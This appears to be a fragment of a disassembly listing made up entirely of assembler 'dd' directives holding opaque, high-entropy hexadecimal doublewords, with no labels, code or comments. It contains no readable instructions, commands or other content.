dd 0BE1432C5h, 38470028h, 5A7A053Ch, 8AF92DBAh, 0D1BCF242h
dd 4CE3AB8Ch, 499A03B8h, 962D1BBFh, 78B70B40h, 0AEA5C4A5h
dd 1813A852h, 6601C886h, 0EEC05A0Ch, 2D070605h, 62F8D6F6h
dd 87756DC8h, 40AB6BBh, 0F3DF801Ch, 31177668h, 70401AE9h
dd 0B450D2F6h, 0D746F4A6h, 0C120803Fh, 70372BC3h, 0E03F0C3Fh
dd 0DFE97F1Ah, 0E9CFBA54h, 13BD3770h, 0BBD85D69h, 0D654F0Dh
dd 3F22BD2Ah, 2B9AEE9h, 0E30B5065h, 5881D2EDh, 0C281B9BFh
dd 0EA525558h, 0C29FEB50h, 0F699DA37h, 6A299295h, 5BA7648h
dd 8731734Ch, 1CACF29Eh, 0F5DDDEAh, 8FA53C33h, 0B7532483h
dd 0B1592BC1h, 0FF71463Bh, 77BE977Eh, 0F6E06412h, 284916B7h
dd 347606EFh, 0BE00ED10h, 306D2DC2h, 0E0ACEE81h, 0E9120B08h
dd 0A4A2C692h, 597D5B58h, 6FC70E4Ch, 96EAF613h, 9A9FF7B2h
dd 53879F9Fh, 5E79F914h, 0BB2E899Dh, 85A5606Bh, 0EB198878h
dd 919F0482h, 2285DEECh, 0C49AFB53h, 0FA2F0748h, 173DF5D3h
dd 35C82B47h, 593800BFh, 0EF8157C1h, 12C2EE9Fh, 0D4121CE9h
dd 9BB8ECEEh, 1729C352h, 2BBB348Bh, 0BB531079h, 0B40FF090h
dd 6F29334h, 6DF4A512h, 4337C701h, 0F831B915h, 0EDB2292Ah
dd 964A80C3h, 2957BE2Eh, 86E925DAh, 59975ED0h, 51DBE9AAh
dd 0D111173Eh, 645D81D8h, 8CC137D5h, 29D3CC49h, 0E5B04B01h
dd 0B6D8642Ch, 0C68003DFh, 4E6C092h, 63BCEB3h, 0F8B5F0EEh
dd 0EFCF2066h, 0F439CDFCh, 0E5C08CFEh, 3B070604h, 1243BE9h
dd 30044F14h, 0F9090586h, 98F17B75h, 1E1EA22Eh, 0EF4AE829h
dd 0DD9FB8BEh, 1D5F888Ch, 0C5EB4D8h, 0F3D5F864h, 0BFB3050Bh
dd 516ECB70h, 123D75F2h, 0E118A05Bh, 9E30F641h, 9E4545C6h
dd 0A742518Eh, 0FE0F2542h, 0FFCD08EAh, 73FF521Dh, 7FE77751h
dd 8D30A80h, 7A6C670Fh, 83030456h, 9610DA6Ah, 311251E7h
dd 0EA3C0FCAh, 9AF281C0h, 8D4AB980h, 116A2E91h, 4710B6Bh
dd 58C30376h, 45AFC568h, 0E818C58Dh, 1EA4C495h, 0E6C412A2h
dd 4C1BF7D4h, 68410458h, 56823E2Eh, 0AB0C2C01h, 312A6F04h
dd 58805156h, 4E3E15D7h, 0EA07C470h, 0D42F7741h, 0A957EB86h
dd 0EFD3D725h, 0C188E528h, 80E6407Fh, 27F0E379h, 0FAA9425Fh
dd 52D53D82h, 0ED87645Ch, 5A16A704h, 4BC99056h, 0A290B868h
dd 956A7828h, 0E97053D6h, 0ACEE4AF6h, 0ABCFCBF7h, 0A0B25857h
dd 4B713B20h, 0AAB13434h, 562D04B3h, 0D3287882h, 14EBCA82h
dd 1DE5A0Bh, 2B1A0F2Dh, 30DFCB81h, 70957398h, 32159088h
dd 0D371170Ah, 70FDB160h, 9222413Eh, 0ECC3244h, 72100C8h
dd 38F9352Bh, 564853F8h, 0A7491032h, 230E053Bh, 54A11A4Ch
dd 3E07A91Fh, 0A72D89FDh, 0C493EB56h, 0B55568EFh, 0B920A190h
dd 0BF57010Bh, 7F821E4Ah, 290540BEh, 60E75FFEh, 0CA4A57FDh
dd 7AB32D77h, 0B6EB84CBh, 91F85BEBh, 2E9B93B1h, 6C610B47h
dd 248072D4h, 128008A1h, 4FDDF76Fh, 2964C523h, 9202AAABh
dd 8508F8E5h, 33C05286h, 0F837445Bh, 1856EECAh, 0E4278C8h
dd 7C2406FFh, 58006232h, 0E9802760h, 81B26435h, 37A1AA64h
dd 0F94C0F20h, 9D2DB32Eh, 56AECD81h, 0F320267Dh, 12050B78h
dd 5BC85925h, 85A46F22h, 6A215A1Bh, 4973B190h, 3D701FD5h
dd 3A3D16D7h, 0A62207AFh, 0EB3F6445h, 7ADBE206h, 51EE073Fh
dd 60187456h, 9061B6CEh, 0E0F618C1h, 0BE609119h, 0E3D00CC6h
dd 0E73020CFh, 4F655F18h, 0F8322724h, 19E2B519h, 1B41A61h
dd 737180B2h, 46AEA42Bh, 6EEFA4FCh, 4B4A45E3h, 0F1F82075h
dd 0C90166B2h, 683C344Ah, 0BC3C1D93h, 0F81EA5C1h, 0E1002B5Bh
dd 413EB951h, 0C2464B79h, 697F49C1h, 136B8E2Bh, 7464FA6Dh
dd 0C0FB62FAh, 34A6FCCBh, 60D1D381h, 0E6EC5823h, 0B06EEC41h
dd 200CE5ECh, 20665AF1h, 0ED087772h, 0A8B0F7E3h, 919683E9h
dd 0C2FE81E9h, 230D1468h, 7CB400A6h, 0F607E4C0h, 0B25202D4h
dd 0FAF9E937h, 2D5420DDh, 7C446838h, 49555B66h, 0DDC64Bh
dd 0C32A494Fh, 0D7F7177Bh, 54310F4Fh, 9371BB52h, 311114D3h
dd 0EED001DEh, 0BB93C0F6h, 4EC67D28h, 0DCAD170Dh, 9B93569Ch
dd 0B3C04869h, 0FB9A9DB4h, 4090B2F0h, 70A5F25Fh, 5DB3B2D6h
dd 44BF17CCh, 0EF09B381h
dd 10916206h, 25295848h, 8CB355A3h, 250AB8ACh, 58F2FE5Eh
dd 0E98040A6h, 0BFABDC8h, 0FEEF8832h, 6570B7Eh, 0F81DA9F1h
dd 3A3C9CD3h, 90794B4Bh, 0BE2D88F4h, 9D6812A0h, 0F4A2E87Fh
dd 13D89D50h, 5E927BC0h, 828A7C02h, 0A3B935E0h, 42890FE8h
dd 7595304Fh, 5420C4A1h, 3533C3Fh, 0C4054001h, 7AA9FCACh
dd 0D2455E97h, 0D266855Bh, 3E47D7B2h, 6E63D226h, 4609877Dh
dd 0E07EA16Dh, 60B257C2h, 0B040EEFDh, 5A72014h, 6BD4BF0Eh
dd 0FB31E59Dh, 49E45699h, 0D4DB7F09h, 53206734h, 3FC6B901h
dd 0C8294DE0h, 4478CC7Fh, 208C14BFh, 49E66842h, 0CB000C48h
dd 0C62F954h, 0BD1AA12Ch, 96782D00h, 91F58107h, 2F451717h
dd 0EEE5C2F7h, 63C38000h, 7F681259h, 0EDCD6371h, 0CC33ECF1h
dd 46B082C4h, 0D0F32662h, 0FFC4DD5Ah, 0E6387627h, 6DBE2523h
dd 3CC277D6h, 29C08E8h, 49421EFEh, 600C8277h, 27F809F8h
dd 0D37AF10Dh, 14FCCB65h, 304AC6E2h, 6420A2E8h, 2633FA58h
dd 442D0119h, 8CC2FF66h, 0E9CBA2A5h, 84685D16h, 0D782DC38h
dd 90586C0h, 9D1F9F2Ch, 820D924h, 0E4E2E913h, 0E3078BBDh
dd 0F06326D6h, 459A7475h, 0D5D02925h, 0C8015C14h, 0E973DA6Eh
dd 0E56399ABh, 6B1A0D7h, 67BAFA4Ah, 0E8FD9973h, 1760B9B5h
dd 0FC733426h, 925A7D3Fh, 8743C85Eh, 3DF4EA89h, 89419935h
dd 5E5DF558h, 0BB64EF2Dh, 0B931AA82h, 0B26A4357h, 21AE8095h
dd 0B0094CEBh, 0FA12A01Ch, 56CF27Bh, 47429905h, 0E3E9C37Ah
dd 5E543C12h, 0F9FC8DFBh, 2F947C43h, 25FD5E5Ah, 0E90C38F5h
dd 0A8A94B79h, 1AF7A1C8h, 0C8AE8355h, 0B85BE4BCh, 5CCBC6BDh
dd 0BBDBEC85h, 0BF700025h, 5F66E9DAh, 0C2E3B987h, 5F36A068h
dd 434B7DECh, 6188F822h, 7FEA29FBh, 7EBB43C5h, 102A613h
dd 0B6CE68B2h, 9ECE8042h, 2634A9DEh, 15371EAAh, 6607F4DDh
dd 4A7C2D68h, 8072031Ah, 63877EBh, 0BEF32411h, 7606EF3Ah
dd 49049C13h, 9EE153E9h, 8951F72Bh, 0C778C891h, 0FA132416h
dd 7C310963h, 0C387C27Eh, 0F2760DFh, 5DC8AFC2h, 7933EE98h
dd 9C13D32Ch, 7EFC100h, 99231BE9h, 81688475h, 0C950E818h
dd 0A755CD58h, 30C41CF5h, 0B10AC92Ch, 0D962F653h, 0DC5BDFE2h
dd 0DAD47ABCh, 18314342h, 7896BE56h, 74F3AEBCh, 76C5680Bh
dd 0B21C6FC5h, 77D65D23h, 39574B38h, 0E9C5F4ADh, 5AD8A00Ah
dd 68150505h, 39D43B0Fh, 641071Dh, 5B460B67h, 51017832h
dd 89E962B1h, 0BAFD3ADBh, 56E8297h, 72CFEB51h, 8D24C18Dh
dd 39599648h, 7614EF25h, 5A3F6824h, 1D185DC9h, 942EE9D7h
dd 0F4207E6h, 0F2FD901Ch, 0F7D5CE2h, 5E3CFD41h, 0AC1A9C4Bh
dd 9E58D940h, 0F67AC2C1h, 0CB39F0C4h, 31A01Eh, 0C2B1116h
dd 9FE9D329h, 35EC515Fh, 35EBA89Dh, 818F8028h, 48E7E1Dh
dd 1B88C0AAh, 0BF3435C1h, 10FE0BDFh, 0E404CA8Ch, 0BB01F53Eh
dd 51F8ABB0h, 2D380A2Dh, 82C325A4h, 50058453h, 305F2DD0h
dd 0FF6A4B69h, 9F685942h, 0E99BF163h, 6E7F1629h, 29AF135Dh
dd 68032201h, 48D981E2h, 8030476Dh, 131F43B9h, 8D045D54h
dd 4D980E59h, 0E76514A9h, 0CD03D06Fh, 30582ADCh, 3362E5B0h
dd 0E96E6106h, 5D5F787h, 1C80D8B8h, 10CDA853h, 21003956h
dd 0BF575BDAh, 0EF2CE789h, 96270966h, 0F2D0503Ch, 0D271923Fh
dd 7FDFABEFh, 87988720h, 0EC330E5Eh, 78A5E06Dh, 5BF985Ah
dd 65D07B8Dh, 3CAD31h, 5FDB29E7h, 9C233C68h, 540D6096h
dd 315B4C69h, 82E9C791h, 0E378122Bh, 0F805CA8Fh, 0D8D9E9E2h
dd 7AB90087h, 0BD753921h, 0C673DE8Ah, 0A74E27FEh, 0FD2CEDA5h
dd 41740512h, 0FEE7B23Fh, 789D70CAh, 5F2EFA83h, 0CB28FDE0h
dd 0FB647BF8h, 4AAC050Eh, 14E14586h, 0C6EF00B5h, 7D3F5CAEh
dd 83402506h, 1AC0083Ah, 432E3437h, 602C8F9Eh, 52561042h
dd 50972EA5h, 7BF9C01Dh, 1CFA4BEFh, 466CF465h, 0B6D48B84h
dd 630A8BAFh, 486CE93Bh, 0E0137225h, 0C7690DCh, 515A5747h
dd 8C8911FDh, 1E77DCA9h, 0C19B1D0h, 56ADE6A9h, 9D92F6EEh
dd 73F46815h, 0DF3C139Bh, 0C39B70BBh, 0CC092EFDh, 88CB0130h
dd 0E9060814h, 5B26B5E6h, 2D09A040h, 880A3801h, 414C688Fh
dd 0BFAA302Eh, 0FB3C21A0h, 0E9F8864Ah, 488F9B8Ah, 0FC073951h
dd 0D2190E69h, 105F88F3h, 0CF590854h, 271C13E4h, 7E7235F4h
dd 5CBE8898h, 0D4AF2912h, 91418190h, 0E9C9C745h, 0EE84FB09h
dd 0B14B3EE6h, 8BFC6A29h, 0B221D1C5h, 7B680B88h, 696FF623h
dd 0A7FF47FDh, 336CA28Bh, 0DE61663Ah, 0DBFF0E06h, 9565EC1Bh
dd 0C77F5D89h, 4FE9845Fh, 0C458F5DAh, 1728FD48h, 0AE4D8B5Fh
dd 0C6040127h, 44C3685Bh, 0D2C0A36Fh, 80F58DA0h, 295AE34h
dd 775DEB9h, 5082DB28h, 15F9EC88h, 9C4E5D49h, 62C9E92Eh
dd 75F7B089h, 0BC8A81C2h, 5F31A8E3h, 0D1DCE49Ah, 9FE8CEA2h
dd 821D22C5h, 7BE23BDh, 75E11DE6h, 0A372F252h, 1259CBFCh
dd 0ED545369h, 35490B72h, 0EE7E006Eh, 0EC48B016h, 74F10BCAh
dd 0CC86235Eh, 0C827B11Bh, 54D9C22Ch, 0CA6885D2h, 9E4DF906h
dd 0B0679D8Bh, 4C159C9Ah, 0C702E0ACh, 318E7C5Ch, 0CE47857h
dd 548F46F0h, 2A39A31Ch, 0F7027CBFh, 825E799Bh, 2A067301h
dd 7E42B0C1h, 0AF329710h, 0E8A4BD02h, 0DDFD8702h, 5DEE63C8h
dd 0AAB7F5A4h, 0E82D5459h, 928EE965h, 0DEBD0784h, 0A243275Fh
dd 890F8491h, 540DB2D5h, 405A6BFCh, 4A692238h, 6EB560AFh
dd 17019C52h, 6C57F381h, 0E82A506Bh, 21C302B9h, 72FB808Ch
dd 0A6B52784h, 81F25A3h, 15B700E4h, 0E6C1CF80h, 301176F7h
dd 0BA0CF4E7h, 0DCBAB9E9h, 880C719Fh, 801DD55Ch, 76285889h
dd 59FD3A7Ah, 2F7C6B23h, 1671D54Ah, 0D525A1ACh, 0E9127E9Eh
dd 3DEF4E55h, 5CF26EAEh, 0B49AA614h, 0A257A381h, 25CFED61h
dd 0A9EC3E07h, 0BB532B9h, 14F239E9h, 70807A71h, 0C1D05BD5h
dd 2ADD651Eh, 0BB00A4F3h, 4217CD50h, 0C204814Ah, 0E832AF49h
dd 0F488B1C4h, 32C5B801h, 593AFCFFh, 0EE1646C4h, 17BB3862h
dd 0F010BBFEh, 310C6008h, 99691C17h, 0C12B6B51h, 0E960E4F3h
dd 0B50116CBh, 55528A56h, 68583279h, 0DF7E54BDh, 1E759AFEh
dd 0BB1E480h, 99B09369h, 2BC67035h, 4B760A11h, 0D05BB85Eh
dd 706C0CBCh, 626624BCh, 874B1617h, 7F82A460h, 1EECBF80h
dd 8C15785Ah, 0DD63D91Ah, 7492554Ch, 19582740h, 0E23AC580h
dd 0EB619333h, 0A868AF08h, 65CF043Eh, 0BFCD3109h, 5CC023CAh
dd 0A23F092Dh, 0B01DD09Dh, 71D50C94h, 0FF2856CBh, 414A7D98h
dd 60279791h, 4B7FD527h, 0ABC212F8h, 5ACD7598h, 661EED3h
dd 213BC4D0h, 378D32Bh, 0B012E95Ch, 0E845BACh, 0E216A9D7h
dd 0EE42D6DFh, 4011E71Ch, 30361735h, 0E90C2786h, 264A4977h
dd 0C0AC6EDh, 25FB3EE0h, 852554F0h, 0FB66CBC8h, 0E16301A7h
dd 68026BC3h, 3E06D9C1h, 2C1E0602h, 796075E3h, 6B10869Dh
dd 0A0482971h, 0A5028F05h, 35B98079h, 62483B34h, 425C1EB8h
dd 850C21D8h, 545729Ch, 6EE9EF29h, 2757D1E4h, 0C5CD2B4Fh
dd 0E1D2B738h, 728E34B9h, 0F62F4F96h, 68665083h, 4810D32Fh
dd 6006E99Ah, 532C2C8Dh, 28055B5Ah, 13B252E8h, 5F02EA82h
dd 377E2D5Ah, 5898C278h, 0FC4EDA2h, 0CAE910E7h, 3E939739h
dd 3F3AE2E9h, 5B510FCCh, 0A24BE82Dh, 6FC557C5h, 47FA18B0h
dd 64635C38h, 520DFE06h, 770B180Eh, 8A195960h, 8209476h
dd 44FF5E79h, 0E917038Ch
dd 500A4B33h, 0A8086CB5h, 65D9EE0Ch, 0F95B4EF8h, 0AD6BC594h
dd 85C963FDh, 0F5D00BF5h, 862FD59Ch, 62A15EF1h, 0FAC2D021h
dd 0A25ED625h, 5DA3C2ADh, 22F584Dh, 265930F3h, 4C7DCE31h
dd 81297E2Dh, 4C13A5Ch, 0B04DB0F9h, 5B434230h, 4B1D59Ch
dd 142FEA4Eh, 1D44042Fh, 1FBE2C24h, 939F8AD2h, 3B65280Eh
dd 521F5178h, 409895Dh, 712287E6h, 22F104B2h, 8037FFC2h
dd 575BF95Fh, 3BB0125Bh, 5708A2EFh, 109DF7CEh, 82D1E7B6h
dd 21BFBF80h, 8F982D28h, 9EB86640h, 57F497Bh, 9AB8D7C2h
dd 1D0BBD00h, 0F0BB0E6Ah, 606D7626h, 4EE06C0Ch, 1C32915Eh
dd 0E2FCA090h, 0EE8AB85Eh, 9F612C7Ch, 0BD6B6AFCh, 0F98C9793h
dd 0DD05679Fh, 974E6FB6h, 9F2DE5Ch, 0A0A6D3F5h, 2D024F87h
dd 0A8AC2F8Dh, 94F4ABA5h, 0ECB05A50h, 0A3B174Fh, 827427EAh
dd 0D0081DC4h, 87B08813h, 68570052h, 1C2846B3h, 0EF32C15Fh
dd 0C2030604h, 5A8AE1B4h, 0A344973Fh, 141E4C34h, 361F9FB9h
dd 4D1F78Ch, 81410149h, 0B37A93C9h, 0F45A2063h, 27605781h
dd 0C0578252h, 24F28D95h, 27A8DFE5h, 8277A109h, 0D15A1394h
dd 0BC5F1276h, 2FBC4EC7h, 9C3DAEB4h, 0B334A219h, 0E79D2FE9h
dd 0A202466h, 815F004Ah, 0A91B9CF6h, 0C8FA5678h, 80ACF249h
dd 132E0B31h, 1468164Eh, 1705F374h, 4D881B7Ch, 300940C5h
dd 2C58C209h, 46B879Bh, 91FA6645h, 3AE5B3E5h, 153AF447h
dd 4C665D0Bh, 0D1985C4Bh, 25BE6298h, 676C5AD1h, 0AED6C1F2h
dd 8F4BA7A8h, 75CF1012h, 2424B2Ch, 47FE408Eh, 0AC014AC4h
dd 0E9B9B667h, 28BC28AFh, 35736889h, 51EDD30h, 67305581h
dd 813F40B7h, 2B9CE704h, 81FE433Ch, 83D6427Fh, 7150F31Bh
dd 0A0CFE61h, 0BCD15D1h, 0E0D01DAFh, 660A2502h, 8BC16035h
dd 0F58055EFh, 3CB22734h, 6A4A2295h, 805A0067h, 0CBE0EAEBh
dd 62708EF6h, 581556B7h, 32499768h, 0C96D15DFh, 7E5E7814h
dd 25BACFC0h, 18C3273Bh, 0FE615AC2h, 12FC3FDDh, 0E66268B1h
dd 55580846h, 7D30406h, 80AB2946h, 1FD8E952h, 8425ADFh
dd 400B337Ch, 683FC42h, 0FE9F4CCh, 2100C9A2h, 0D3F75EF3h
dd 0B5204368h, 3308DC18h, 212F737Ah, 1EEBD0CBh, 657132FEh
dd 1089E0D6h, 1215535Eh, 8DC4C50Fh, 880030F3h, 7BD56906h
dd 386537E9h, 0A59741BAh, 4A2FF04Dh, 0E3A36B97h, 0B13AA32Fh
dd 0C933DEAh, 1413FF12h, 0E91766F6h, 0EFA25360h, 122ACA69h
dd 2C05A435h, 8C7D9F60h, 335D0243h, 0C74D2F7h, 704C08B9h
dd 0BA955945h, 0FE075234h, 41944A2Bh, 712E298Dh, 4258A55Ah
dd 4CD17531h, 3E90FF49h, 7D82CED4h, 0CD259C96h, 381CD7E6h
dd 2A239AA1h, 9EEC4C9Dh, 2746A10Eh, 5E28A1DBh, 0F22CA497h
dd 4966847Ah, 7D80AC0Bh, 0DCC280E0h, 1388FAB5h, 2A18EFE9h
dd 0E0E90A67h, 0D9023A50h, 5C1AA66Eh, 976A2AB3h, 51DAF7DEh
dd 204C2270h, 59B5D2A0h, 86CE9528h, 80201FB1h, 0C680EE0Dh
dd 0B051668Fh, 1B7D4C31h, 5C18804Eh, 0C9F0E228h, 4B74B749h
dd 163F64EBh, 6AAE1A95h, 82031862h, 2F62EFD6h, 0EAF668D5h
dd 0A5FB7371h, 5D7C40Fh, 80EE011Dh, 193E5CFDh, 9B80A5Ah
dd 6124050Ah, 38610BCh, 11685954h, 7BC92E48h, 0D90184B8h
dd 5BDDC181h, 2199EF0Bh, 754FE1C8h, 40B46F8Ch, 2B78B75Dh
dd 0E6DC4B97h, 0DC0D2F26h, 5200456Eh, 8F340ABAh, 6BF2814Dh
dd 0EDF00D0Eh, 0C91A5B9Fh, 0DDF24485h, 79EC8231h, 62616854h
dd 8E00884h, 1910BF24h, 121EDA4Ch, 0E13D666h, 7A02CF62h
dd 61D770DBh, 2E64514Ah, 0F21C5A8Bh, 9808D623h, 1A522D26h
dd 0E2E3524Ah, 9EE8156Bh, 7D825680h, 62CB60E0h, 0EA756C2Ch
dd 0AC0D08h, 8006E5C0h, 95B4FFEDh, 0C530F95Bh, 3D251B38h
dd 0B3288B66h, 2F61DCDCh, 2A7DF6FFh, 0C8502F9h, 0C24A2CE7h
dd 0D85CF355h, 37E0CC45h, 53932C68h, 1EA0C2C9h, 0E9D81EDEh
dd 6DE6979Ah, 9C99BB70h, 597F8482h, 8E9AD03Eh, 0DDB80564h
dd 871DE553h, 2025E15Bh, 2D17DC77h, 0D8714009h, 0A9080B3Dh
dd 892E7E41h, 0BEFE4696h, 0DD345F41h, 4107A660h, 0D3B06AF9h
dd 5CF44026h, 0F6096A9Bh, 846C54E1h, 0EA996850h, 0F73E5FE1h
dd 14957706h, 0C4C4487h, 2907EF96h, 3B4A60h, 39090850h
dd 5BF6B84Bh, 831BB002h, 3D77EF9h, 20DA48B0h, 8B895A1Dh
dd 0F1E84B5Bh, 1A670596h, 304E99ECh, 34BEBF7h, 6882BFA3h
dd 33EC1D9Eh, 5E27E026h, 2F68A06Ch, 54D68D70h, 1E758803h
dd 0C5960133h, 29254117h, 828A0F7h, 68800DA1h, 895F2D46h
dd 60F6FA3Ch, 6803E64Fh, 0F0BB61ECh, 0C0270401h, 0B42E3165h
dd 2F2DF188h, 83017C74h, 0E73D08EAh, 4FA4E410h, 0C1FB805h
dd 0C102C1D7h, 8DAD2058h, 6CA0717h, 0F2573C16h, 389FD0F0h
dd 319842A4h, 13EA2AC5h, 1FAB720Eh, 0C214DE29h, 75E90C08h
dd 4BE29D7Eh, 2DAFF057h, 21BE2E10h, 853BE917h, 65C8EA5Fh
dd 0CB4160h, 632907EFh, 5341C49h, 46BB6F93h, 89979A0Eh
dd 0FBEC00D8h, 27E9535Fh, 246B2194h, 4135B62Fh, 0E32E6624h
dd 8BB9686h, 0F8278713h, 497B99FBh, 0C559CDFEh, 0C8485028h
dd 4ED69E4Eh, 6C20EE8Dh, 0B5654AAFh, 562DDCE0h, 0B780DB91h
dd 30CEB1F6h, 0E25095F9h, 4F24665Ch, 4D04BAEh, 0B0C26552h
dd 0FD51D088h, 585951E8h, 2CD24C95h, 980FCABEh, 208A6F9h
dd 553EB100h, 5F0BA4BDh, 91F69D49h, 0EB548500h, 923EE974h
dd 7FF1B5D8h, 0E1C4E958h, 8DDC92A5h, 7F608212h, 2557EF68h
dd 0F1C538AAh, 7105EDA0h, 9062F48h, 28DAA0ABh, 89CBA6DCh
dd 32E5CDh, 273842C7h, 663AB168h, 58955153h, 6A06067Ch
dd 3EBB7447h, 0EB812E0Bh, 61E9426Dh, 960E27F4h, 12FA374Eh
dd 0D7530BBEh, 0BCB109ABh, 3DDCF455h, 31412192h, 8016F0D2h
dd 5AAEE908h, 0EE58AD1h, 2B4408C6h, 0D3075603h, 60CE6451h
dd 0FB57566h, 0E90DB88Bh, 0BCE35F77h, 0E5BAE5A5h, 0B6387BD0h
dd 0CE4B4D68h, 0C7D3477h, 0F9C0890Ah, 90E33AC7h, 0F7CA045Ah
dd 96E7BBD3h, 0F10CF94Eh, 0A63EAD3Eh, 41B6643Ch, 0D10BBC10h
dd 5620FE1Ch, 766F3199h, 6C880CC0h, 955D3F07h, 797D3F9Ah
dd 0C9E84EF9h, 1BB1BD01h, 1E87305h, 0C9109538h, 0D4A05352h
dd 0C3A5F778h, 863F9A23h, 10D668E9h, 0DA3D33A9h, 15E15930h
dd 0C9B33D04h, 174446C2h, 0A64EDB68h, 82D29114h, 5734C6E9h
dd 0FDC2EB93h, 0F4FE3B49h, 0C173CE80h, 881EBFEAh, 0C34F5AF3h
dd 5B939DD2h, 0E9778CBEh, 0B3C2132Eh, 47D95C64h, 0C0A8F22Ah
dd 2B542C9Bh, 7E9127E9h, 96E905D6h, 9BE91559h, 58014F5h
dd 58CC198Ch, 21D46813h, 14DC41B8h, 0E8201D02h, 6ED12500h
dd 63354A07h, 15F32E2Ah, 7F87043Ch, 0F19FF092h, 7E17D00Bh
dd 57FE603Eh, 6B552C6Dh, 5340106h, 623128BFh, 8251053Bh
dd 0E0AEAC16h, 5AF4C2A1h, 72069F1h, 334A6A5Eh, 4BD86841h
dd 64077D76h, 0B9328456h, 0E09437Eh, 57802B6Bh, 0D476220h
dd 810635FEh, 32549BCEh, 0BB2D20CEh, 79955EF0h, 0F8796243h
dd 0EE3AF70Bh, 0BCE8F122h, 1220D50Bh, 4F1812ABh, 45348B25h
dd 0CD56ADB6h, 0AF037F42h, 26150534h, 25785EE2h, 49595B3Eh
dd 299D8C9h, 19B25850h, 0EA91CD68h, 1735BD36h, 48613BA1h
dd 0F1181B07h, 3874037Ah, 0CD0C03B0h, 0C2161D1Ah, 3A2D18E5h
dd 0C27186Bh, 13475EAh, 8021CCDh, 7C6C29E9h, 0A27750EBh
dd 19511F9Ch, 0FA012879h
dd 0B450665Bh, 10B22C01h, 0D01909C1h, 513D40E7h, 2B5C8853h
dd 5B8A21B0h, 9308B38Dh, 0A186D9F9h, 0C5028161h, 5D2F4570h
dd 4D5B6458h, 0BA4FD8EDh, 0C7296244h, 0E633680Eh, 48047925h
dd 0BCE94427h, 24B1DBE0h, 27AEB24Fh, 705E4C58h, 57533FD1h
dd 0B72E28E0h, 2D69266Ch, 0EE570E71h, 0BD20989Ah, 746C1E2Ah
dd 8527B836h, 0D46DEA98h, 64EF7496h, 5F095841h, 0D686CB0h
dd 155A2352h, 2F84451Dh, 756642FCh, 6AD08740h, 12B6FAF4h
dd 8170562Fh, 0E0F5DCC5h, 0B6C53AF6h, 209639FEh, 6313E576h
dd 67F957C8h, 0C95B0840h, 4A6C5C91h, 0DB9F2C7Eh, 0B8C0EE0h
dd 0D7D1F312h, 9740008Ah, 6E598182h, 40C42F37h, 0C221C7D1h
dd 0C12BDA61h, 2BDC9ED8h, 0E85E27A2h, 74C14ECBh, 0BE00C638h
dd 6658704Fh, 0B0EE0444h, 2780EB4Ch, 4F0AE9F3h, 6BB38CF1h
dd 0CB361F2Ch, 7712F205h, 84023484h, 75D30B9Eh, 0F7036901h
dd 0CFC41DAh, 0ED68000Ah, 96D9914Bh, 0E9DBBA51h, 0F97CD341h
dd 0A61A5849h, 2DECF290h, 1940A9F8h, 56F9975Dh, 4361024Bh
dd 7EBD0030h, 614ADD0Eh, 0E67042A1h, 21D32668h, 7790C668h
dd 2E0D64FAh, 0A45B34D5h, 4CEE4CD0h, 7B06CDDFh, 2E30940Ah
dd 0A088474Ah, 0D2A79408h, 615651DFh, 3D010525h, 0F72189E2h
dd 0E90E4FA1h, 4F91783Ch, 0FE530228h, 819D672Eh, 0F13F74CEh
dd 0B9300488h, 9927C59Ch, 39C522F8h, 3B91BEC5h, 3930D001h
dd 0BCCF4BDAh, 4047C98Dh, 5BB652EAh, 0C1ECF1EBh, 8D67F4F0h
dd 32B4A2B5h, 645D09DBh, 0C5315BA5h, 4D949BFCh, 0CC977032h
dd 834F691Bh, 0AAF63880h, 764A9F07h, 7BC71FBEh, 8B26026h
dd 0F601BBD9h, 2E7C0DFh, 7DE4A82Bh, 28CF0401h, 0DAADE9F8h
dd 6E77922Ah, 0C047A7Fh, 7FDF2883h, 72830648h, 76DE6062h
dd 3C63E36h, 249470B7h, 69D01455h, 920BA9F0h, 0B07EA579h
dd 27BBE93Dh, 0D0DE0112h, 6899668Bh, 2F9CB60Ch, 0AE42DEF6h
dd 2D704B61h, 0B3530079h, 0E9DD881Bh, 7A8695E4h, 82F26731h
dd 0BD00ECBAh, 6C6658E6h, 0C206EDC1h, 73E90706h, 0F92D05D6h
dd 0A05569DFh, 95F42D46h, 0E4F94ED4h, 220BED88h, 1231EA13h
dd 3080BCEh, 8517411Fh, 9666E3BBh, 4D353398h, 3250E4ECh
dd 5B2B4C7Fh, 0E29CAAF5h, 71C2B503h, 23312D1Eh, 0C8F2172Dh
dd 956491DCh, 119254C8h, 2A1E6BDh, 1FF568CBh, 8325401h
dd 0E902140Ch, 8001760Dh, 906E4A10h, 0EC5A5448h, 1E1607E7h
dd 196C687Eh, 0FF09A266h, 94F912Ch, 7C9D0512h, 77644CEFh
dd 0C4ECBB06h, 0E2201F09h, 8EAA0F58h, 30CCE9E9h, 0C3FF86BAh
dd 0EED14E10h, 0BD554C01h, 4A5917EAh, 0E5F0DDE1h, 88C9A34Dh
dd 0C171A767h, 0EAE2C70Ch, 0CAA13A42h, 1D57812Bh, 8EC82E3Fh
dd 654C0FEFh, 0B7A92C4Ah, 0F62D66D6h, 4159E910h, 0D20BDDC2h
dd 47D80B9Eh, 10575B48h, 0B3428AF6h, 6A3309A4h, 0DEE9237Bh
dd 4F89CFEFh, 1912A01Ah, 0D0050D7h, 0B37EA6C5h, 41BD2CB6h
dd 6FF63108h, 4C611ADAh, 4178115Bh, 44E4DB6h, 3F6CA901h
dd 5C836F97h, 16E019D5h, 4A765805h, 39484F1h, 0AB7963BBh
dd 33090E8Fh, 0A258FB74h, 7A5681C2h, 17E9632Ch, 77010E45h
dd 0CC84F9FAh, 33BB8F0h, 3A762EBAh, 16B0E54Ah, 0C1AF9AD1h
dd 1A5D509Ah, 0C5815208h, 3C0C088Ch, 2ECB1209h, 389A5D5Bh
dd 0AF260CD5h, 0C74B4AE9h, 0C2468958h, 2ADD6812h, 174DA58Ch
dd 0B939EB05h, 0D51F9F8Fh, 1C0AF46Bh, 0B69DB32h, 0BF476844h
dd 0A90D13CDh, 0C8F1E169h, 77E4052Fh, 205E5A80h, 360B65D0h
dd 550A64FFh, 0BE33B58Eh, 4BFDB013h, 0BC6BB141h, 0B0E9E005h
dd 0D6E7C063h, 6A3BB53h, 85375F2Fh, 8CCE5A20h, 0BCA54F27h
dd 19E3AFD9h, 7BEEB8A0h, 6071AB25h, 0EC1EE24Eh, 592D3F01h
dd 3521478Eh, 0D28F97C2h, 0CF891DE8h, 0DD7CE916h, 0AC817229h
dd 60802BABh, 0B8DCEEE9h, 0D2315E0Bh, 92FD80E6h, 0BCC497FDh
